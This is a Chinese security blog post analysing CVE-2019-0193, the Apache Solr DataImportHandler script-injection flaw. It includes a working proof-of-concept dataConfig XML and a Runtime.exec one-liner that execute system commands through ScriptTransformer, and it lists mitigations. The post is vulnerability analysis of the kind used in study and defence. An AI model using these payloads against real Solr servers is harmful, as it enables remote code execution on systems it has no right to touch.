前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【技术分享】Solr DataImportHandler组件漏洞

【技术分享】Solr DataImportHandler组件漏洞

作者头像
安全乐观主义
发布2019-11-20 18:51:27
6830
发布2019-11-20 18:51:27
举报
文章被收录于专栏:安全乐观主义安全乐观主义

编号

CVE-2019-0193

漏洞简介

DataImportHandler是一个可选但使用广泛的模块,默认不启用,用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。从Solr的8.2.0版本开始,使用这个参数需要设置 Java System property,设置"enable.dih.dataConfigParam" 为 true.。

漏洞详情

分析

漏洞越来越多,每个跟进都需要及时。环境搭建是编制漏洞POC永恒的过程,通过认真进行的环境搭建有助于清晰实际利用的难度,了解应用资产的部署范围、准确梳理漏洞利用思路,切实提出有效的修复方案。

目标内网机器名越来也规范,架构越来越复杂,不断的扩展网络发现未知后端服务后查找公开资料、exploit-db、cve漏洞,希冀历史poc生效。长期储备攻击手段,了解目标主流技术栈的基本后端业务,攻击才能越来也熟练和自信。

搭建过程不再赘述,参考资料有较为详细的教程。漏洞利用主要参考披露的有限信息。

https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer

核心实现是org.apache.solr.handler.dataimport下的ScriptTransformer方法

显然得知,漏洞利用脚本如下。

poc
代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8" ?>  
<dataConfig>  
<dataSource name="fromMysql"
      type="JdbcDataSource"  
      driver="com.mysql.jdbc.Driver"  
      url="jdbc:mysql://localhost:3306/mysql"  
      user="root"  
      password="123456"/>
<script ><![CDATA[
    function f2c(row) {
       var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
      return row;
    }
    ]]>
  </script>  
<document>  
  <entity name="Users" query="SELECT 1" transformer="script:f2c">
  </entity>  
</document>  
</dataConfig>

根本原因是solr的特性ScriptTransformer,称为脚本转换器,使用菜单项的dataimport功能时通过连接数据源获取数据索引,然后触发用户自定义的script处理查询出来的数据,实现命令执行。默认使用java6后支持js的scriptmanager,也支持Javascript, JRuby, Jython, Groovy, BeanShell的写法,通过script的tag指定language,当然lib必须有对应的jar包。但是在java的运行环境中,JavaScript也可以执行命令,因为scriptmanager的机制是可以js调用java代码,所以除了上面的poc外,还有一个支持回显的写法如下。

代码语言:javascript
复制
 print(new java.io.BufferedReader( new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"open .\").getInputStream())).readLine())

虽然这个功能是后台才能执行,但是solr后台一般是没有认证,官方认为这类软件必须是部署在内部网络的,也提供BASIC和Kerberos插件等身份认证方式。建议启动solr时添加对应的参数,通过java security manager 设置也可以进行安全加固。笔者认为严格来说并不能算是安全漏洞,仅仅是安全设计问题,只是支持的功能特性的范围太宽泛了。

搜集处理

利用完毕后,将相关漏洞代码纳入Vulncode-DB,作为同类型漏洞挖掘的知识储备。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-08-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 安全乐观主义 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 编号
  • 漏洞简介
  • 漏洞详情
    • 分析
      • poc
      • 搜集处理
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档